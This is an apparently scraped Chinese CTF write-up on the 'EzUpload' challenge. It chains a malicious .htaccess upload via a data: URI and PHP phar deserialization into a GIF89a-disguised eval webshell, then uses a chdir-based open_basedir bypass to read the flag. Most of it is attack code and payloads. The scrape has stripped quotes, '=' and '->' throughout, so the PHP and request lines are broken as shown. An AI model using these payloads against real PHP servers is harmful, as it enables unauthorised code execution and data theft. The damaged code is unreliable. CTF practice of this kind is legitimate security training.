从EzUpload到Webshell:一次完整的CTF文件上传与Phar反序列化实战解析

张开发
2026/4/18 12:40:58 15 分钟阅读

分享文章

从EzUpload到Webshell:一次完整的CTF文件上传与Phar反序列化实战解析
1. 漏洞发现与代码审计在CTF比赛中文件上传漏洞一直是高频考点。这次遇到的EzUpload题目看似简单实则暗藏玄机。我刚开始审计代码时发现系统对.htaccess和phar文件的上传居然没有任何过滤这立刻引起了我的警觉。.htaccess文件是Apache服务器的配置文件能够控制目录的访问权限和文件解析规则。而phar是PHP的归档文件格式可以包含序列化数据。这两个关键点没被过滤意味着我们可以通过上传特殊构造的文件来实现服务器控制。仔细分析题目环境发现系统提供了文件上传接口支持两种上传方式直接上传本地文件通过URL远程拉取文件这里有个细节需要注意系统对上传文件的扩展名没有严格限制但会根据文件内容进行简单校验。比如上传PHP文件会被拦截但修改文件头就可以绕过。2. 构造恶意.htaccess文件我的第一个突破口是.htaccess文件。通过上传特定的.htaccess文件可以让服务器把普通文本文件当作PHP脚本来解析。具体操作如下先创建一个包含以下内容的.htaccess文件AddHandler php7-script .txt由于直接上传会被拦截需要将文件内容进行base64编码cat .htaccess | base64使用data协议上传编码后的内容actionuploadfilename.htaccessurldata:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0这个操作成功后服务器就会把所有.txt文件当作PHP脚本来执行。这为后续的webshell上传铺平了道路。3. Phar反序列化利用链接下来要解决的是如何利用phar反序列化漏洞。我发现了题目环境中存在一个dir类这个类有三个属性userdir用户目录urlURL地址filename文件名通过分析发现当这个类的对象被销毁时比如在反序列化过程中会执行文件写入操作。这就是我们要利用的点。构造phar文件的代码如下?php class dir{ public $userdir; public $url; public $filename; } $phar new Phar(phar.phar); $phar-startBuffering(); $phar-setStub(__HALT_COMPILER();); $o new dir(); $a new dir(); $a-userdir ../; $o-userdir $a; $phar-setMetadata($o); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ?这里的关键是设置userdir属性通过嵌套对象实现目录遍历。生成的phar文件需要先上传到服务器然后通过phar协议触发反序列化。4. 绕过限制获取webshell上传phar文件后需要通过phar协议触发反序列化actionuploadfilenameurlphar://upload/cc551ab005b2e60fbdc88de809b2c4b1/1.jpg这个操作会返回服务器的绝对路径信息这对后续操作至关重要。得到路径后我们可以构造一个写入webshell的phar文件?php class dir{ public $userdir; public $url; public $filename; } $a new dir(); $a-filename /var/www/html/4bac3882938ce191/upload/cc551ab005b2e60fbdc88de809b2c4b1/test; $a-userdir ?php eval($_GET[1]);?; unlink(phar.phar); $phar new Phar(phar.phar); $phar-startBuffering(); $phar-setStub(GIF89a.__HALT_COMPILER();); $phar-setMetadata($a); $phar-addFromString(test.txt, test); $phar-stopBuffering();这里有几个技巧需要注意在文件头添加GIF89a伪装成图片使用gzip压缩phar文件避免被检测利用之前上传的.htaccess文件使txt文件可执行5. 最终flag获取成功上传webshell后还需要绕过服务器的open_basedir限制。我使用了以下payload1ini_set(open_basedir%2C%20..)%3Bchdir(..)%3Bchdir(..)%3Bchdir(..)%3Bchdir(..)%3Bchdir(..)%3Bchdir(..)%3Bini_set(open_basedir%2C%20%2F)%3Bvar_dump(file_get_contents(%2FF1aG_1s_H4r4))%3B这个payload通过多次chdir跳出限制目录然后读取根目录下的flag文件。需要注意的是题目环境每10分钟会刷新一次所以操作要迅速。也可以编写自动化脚本来完成整个过程。在实际比赛中这类题目往往考察选手对PHP特性的深入理解。从文件上传到phar反序列化再到最终获取webshell整个过程需要环环相扣。我在解题过程中最大的收获是学会了如何利用phar协议的压缩特性绕过安全检测这对以后的CTF比赛和实际渗透测试都有很大帮助。

更多文章